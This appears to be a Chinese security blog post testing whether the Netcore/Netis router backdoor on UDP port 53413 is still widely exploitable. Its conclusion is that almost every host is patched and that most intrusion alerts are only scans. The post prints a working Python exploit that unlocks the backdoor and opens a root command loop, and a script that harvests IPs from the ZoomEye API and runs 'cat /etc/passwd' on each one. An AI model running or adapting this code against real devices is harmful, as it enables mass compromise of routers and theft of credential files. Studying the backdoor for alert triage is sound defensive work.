最近听到一种说法是,有gafgyt蠕虫利用netcore的53413的后门,传播得非常厉害。
那么,跟踪一下事实是否属实呢?
1.首先看一下netcore/netis路由的53413后门
这是一个2014年就爆出来的老洞。即netcore/netis路由器会默认监听53413端口(UDP),发送特定的字符串给它之后,就可以获得root权限登录,接着就可以执行相应的命令了。
一个可以利用poc如下:
import socket
import argparse
import binascii
import time
timeout = 20
socket.setdefaulttimeout(timeout)
'''
Example run:
root@rageKali:/media/veracrypt1/stcyr/git/MSF-Testing-Scripts# python netis_backdoor.py 192.168.1.1
Unlocking Backdoor
Quit to quit loop
Netis> ls /tmp/
AuCVM
XqdHc
bVOQm
br_type
bridge_init
cfg-macclone
checkupfile
ddfile
default_rt
dhcpd_action
file.txt
hzbjo
igd_config.old
jiDOo
log
ntp_tmp
passwd
reg_domain
syslogd_support
tmp.txt
update_main
version
wan_type
workmode
Netis> cat /etc/passwd
root:abSQTPcIskFGc:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody:/:
'''
parser = argparse.ArgumentParser(description='Netis backdoor')
parser.add_argument('IP', help='IP of router to connect to')
args = parser.parse_args()
def send(command, print_response = True):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto("AA\x00\x00AAAA%s\x00" %("ls /tmp/"), (args.IP, 53413))
if print_response:
resp = s.recv(2048)
resp = resp[8:]
if binascii.hexlify(resp) == "000000ff":
print("No response, command not found or error in command")
else:
print(resp)
def login():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto("AAAAAAAAnetcore\x00", (args.IP, 53413))
print("Unlocking Backdoor")
input = ""
print("Quit to quit loop")
input = raw_input("Netis> ").strip()
while not input.strip().upper() in ["QUIT","EXIT"]:
send(" " + input)
input = raw_input("Netis> ").strip()
我们随便访问一个开着53413端口的机器:
可以清晰的看到,虽然可以发送命令给这台机器,不过命令已经无法执行了。从返回命令的拼写错误来看,"commond"为误应该为command,很有可能很多机器都是打的同一个命令单词拼写错误的补丁。
再随便访问几个:
基本上都是处于打了补丁的状态。
2.自动化探测
我们知道zoomeye上提供了搜索某个指定端口开放的API,虽然是有限制的,不过已经足以方便我们进行自动化探测了。
脚本如下:
#coding:utf-8
import urllib
import urllib2
import json
import socket
import time
import binascii
socket.setdefaulttimeout(20)
def login():
username = 'username'
password = 'password'
data = {
"username":username,
"password":password
}
url = "https://api.zoomeye.org/user/login"
resp = urllib.urlopen(url, data=json.dumps(data))
resp_data = json.loads(resp.read())
return resp_data["access_token"]
def write_vulhost(msg):
with open("h:/vulhost.log", "a") as f:
f.write(msg+"\n")
def get_vulhost():
token = login()
PAGENUM = 1001
headers = {
"Authorization": "JWT "+token
}
for i in range(1, PAGENUM):
print "try page", i
url = "https://api.zoomeye.org/host/search?query=port:53413&page="+str(i)
req = urllib2.Request(url, headers=headers)
resp = urllib2.urlopen(req)
data = json.loads(resp.read())
if "matches" in data.keys():
for item in data["matches"]:
if item["ip"].find("*") == -1:
sock = None
try:
#探测是否可以执行ls /tmp/命令
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto("AAAAAAAAnetcore\x00", (str(item["ip"]), 53413))
respdata = sock.recv(2048)
if respdata.lower().find("login succeeded") != -1:
sock.sendto("AA\x00\x00AAAA%s\x00" %("cat /etc/passwd"), (str(item["ip"]), 53413))
respdata = sock.recv(2048)
respdata = respdata[8:]
if binascii.hexlify(respdata) == "000000ff" or respdata.find("commond") != -1 or respdata.find("cat") != -1 or \
respdata.find("not found") != -1:
#无法利用命令
continue
print respdata, item["ip"]
write_vulhost(item["ip"])
sock.close()
except:
if sock != None:
sock.close()
if __name__ == '__main__':
get_vulhost()
print "done!"
我的脚本探测了100多页之后报错,提示说没有权限访问了,估计是超过限制了。
按照zoomeye的一页19条来看,大概2000多个ip都没有一个可以利用的,也就是说可以利用的概率已经低于千分之一。
所以说这个2014年的老洞的利用绝对没有传言中那么夸张,大多数的攻击行为都是扫描探测而已,而非真实的可以利用成功。从ips告警日志看起来,很多dip都是IDC服务器之类的,连netcore路由器都不是,可见得大多数的告警都只是扫描探测行为,真实可以利用成功的少之又少。
如何从海量的扫描告警中识别出那些真实利用成功的造成危害的告警,是很多安全建模团队需要做的工作。